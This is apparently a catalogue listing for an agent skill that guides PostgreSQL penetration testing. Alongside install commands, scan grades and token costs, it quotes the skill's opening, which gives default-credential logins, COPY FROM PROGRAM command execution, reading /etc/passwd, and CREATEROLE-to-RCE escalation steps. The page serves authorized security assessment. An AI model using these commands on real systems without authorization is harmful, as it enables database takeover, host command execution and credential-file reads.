pentesting-postgresql

pentesting-postgresql is a skill for Claude Code, Codex from xalgorix/xalgorix. It costs 72 tokens per session (2,420 once invoked), scanned A, original, Apache-2.0.

A guide to testing PostgreSQL, a relational database for structured application data, during an authorized security assessment. It covers login rules, roles, privileges, file access, and database features that may reach the host operating system.

In plain words
What is it for?
Use it to list databases and roles, check superuser status, test credentials, review authentication rules, and assess permissions such as CREATEROLE or server-side program execution.
Why use it?
It helps uncover trust-based logins, weak or default passwords, excessive privileges, and database settings that expose files or enable command execution.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit Use it to list databases and roles, check superuser status, test credentials, review authentication rules, and assess permissions such as CREATEROLE or server-side program execution.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/xalgorix/xalgorix/pentesting-postgresql
About the project

xalgorix/xalgorix is a self-hosted AI penetration-testing tool in which an LLM agent performs reconnaissance, looks for vulnerabilities, and coordinates exploitation, while a separate verifier re-tests findings before reporting them. It is for security teams, ethical hackers, and bug bounty work using a private, bring-your-own-LLM setup. The catalogue skills extend the agent's pentesting workflow.

xalgorix/xalgorix · 1,531 stars · on GitHub · xalgorix.com

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add xalgorix/xalgorix --skill pentesting-postgresql
Clone the repo
git clone --depth 1 https://github.com/xalgorix/xalgorix

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for pentesting-postgresql

README.md
[![agentmods](https://agentmods.dev/badge/skills/xalgorix/xalgorix/pentesting-postgresql/github.svg)](https://agentmods.dev/skills/xalgorix/xalgorix/pentesting-postgresql)
Your own site
<a href="https://agentmods.dev/skills/xalgorix/xalgorix/pentesting-postgresql"><img src="https://agentmods.dev/badge/skills/xalgorix/xalgorix/pentesting-postgresql/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for pentesting-postgresql

Your own site · 80×15
<a href="https://agentmods.dev/skills/xalgorix/xalgorix/pentesting-postgresql"><img src="https://agentmods.dev/badge/skills/xalgorix/xalgorix/pentesting-postgresql.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 72 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,420 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00072 $0.02420
Opus 5.5 $0.00029 $0.00968
Sonnet 5.5 $0.00014 $0.00484
Haiku 4.5 $0.00007 $0.00242

Measured 7d ago against content hash cd071994ffd2, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade A, and why

pentesting-postgresql scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

internal/tools/skills/data/network-services-pentesting/pentesting-postgresql/SKILL.md · 167 lines

How it starts

The opening of the file, as written. The whole thing — 167 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Pentesting PostgreSQL (port 5432)

When to Use

  • Default port 5432/tcp (pgsql); if in use, PostgreSQL often falls back to 5433.
  • Banner/nmap shows postgresql/pgsql; a \list showing an rdsadmin database means you are on AWS RDS.
  • Use with recovered creds, when pg_hba.conf trust auth is suspected, or to escalate from CREATEROLE/superuser to OS command execution.

Quick Enumeration

# Version + scripts
nmap -sV -p5432 <IP>
msfconsole -q -x 'use auxiliary/scanner/postgres/postgres_version; set RHOSTS <IP>; run; exit'

# Connect
psql -h <IP> -U postgres                       # prompts for password
psql -h <IP> -p 5432 -U postgres -d postgres    # specify db
PGPASSWORD=postgres psql -h <IP> -U postgres
-- Inside psql
\list                 -- databases
\du+                  -- roles
SELECT version();
SELECT current_setting('is_superuser');   -- 'on' = superuser

Critical: Checks Most Often Missed

  • trust auth / default postgres:postgres — local and sometimes remote connections require no password due to pg_hba.conf trust lines; default creds postgres:postgres are common.
    • How to CONFIRM: PGPASSWORD=postgres psql -h<IP> -U postgres -c 'select version();' succeeds, or psql connects with no password prompt.
  • COPY ... FROM PROGRAM OS command execution — superusers and members of pg_execute_server_program can run arbitrary OS commands (PostgreSQL 9.3+). Reported as CVE-2019-9193 but Postgres treats it as a feature.
    • How to CONFIRM: DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(o text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec; returns uid=....
  • Server file read/write via COPY and pg_read_*/lo_* — pg_read_server_files/pg_write_server_files members read and write any path; large objects (lo_import/lo_export) handle binary files.
    • How to CONFIRM: CREATE TABLE demo(t text); COPY demo FROM '/etc/passwd'; SELECT * FROM demo; returns the file, or SELECT pg_read_file('/etc/passwd',0,1000);.
  • CREATEROLE privilege escalation — a role with CREATEROLE can grant itself membership of pg_execute_server_program/pg_read_server_files/pg_write_server_files and change non-superuser passwords, then reach RCE.
    • How to CONFIRM: GRANT pg_execute_server_program TO "<me>"; succeeds.
  • Config-file / extension RCE (as superuser) — overwrite postgresql.conf to abuse ssl_passphrase_command, archive_command, or session_preload_libraries+dynamic_library_path, then pg_reload_conf(); or compile a malicious extension .so and CREATE FUNCTION ... LANGUAGE C.
  • dblink blind brute / port scan — connection errors from dblink_connect leak host/port state and auth results.

Read the full file on GitHub · 167 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 7d ago First seen · 167 lines · 72 tokens per session scan A cd071994ffd2

Subscribe to this mod's changes

pentesting-postgresql is a skill published in the GitHub repository xalgorix/xalgorix (1,531 stars, last pushed today), licensed Apache-2.0. It adds 72 tokens to every session and 2,420 once invoked, about $0.0003 per session on Opus 5.5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-11-23.

Related

pentesting-postgresql compared with skills from other repositories

pentesting-postgresql next to 6 skills from other repositories
ModTypeStarsLast pushLicenceScanTokensWorks with
pentesting-postgresqlxalgorix/xalgorixSkill1.5ktodayApache-2.0A72Claude Code, Codex
cis-aws-database-3.1CyberStrikeus/CyberStrikeSkill3.8ktodayAGPL-3.0A17Claude Code, Codex
cis-aws-database-4.1CyberStrikeus/CyberStrikeSkill3.8ktodayAGPL-3.0A22Claude Code, Codex
cis-aws-database-4.8CyberStrikeus/CyberStrikeSkill3.8ktodayAGPL-3.0A16Claude Code, Codex
supabase-audit-rpcyoanbernabeu/supabase-pentest-skillsSkill7810mo agononeA24Claude Code
supabase-extract-db-stringyoanbernabeu/supabase-pentest-skillsSkill7810mo agononeA31Claude Code
cis-aws-foundations-4.3CyberStrikeus/CyberStrikeSkill3.8ktodayAGPL-3.0A18Claude Code, Codex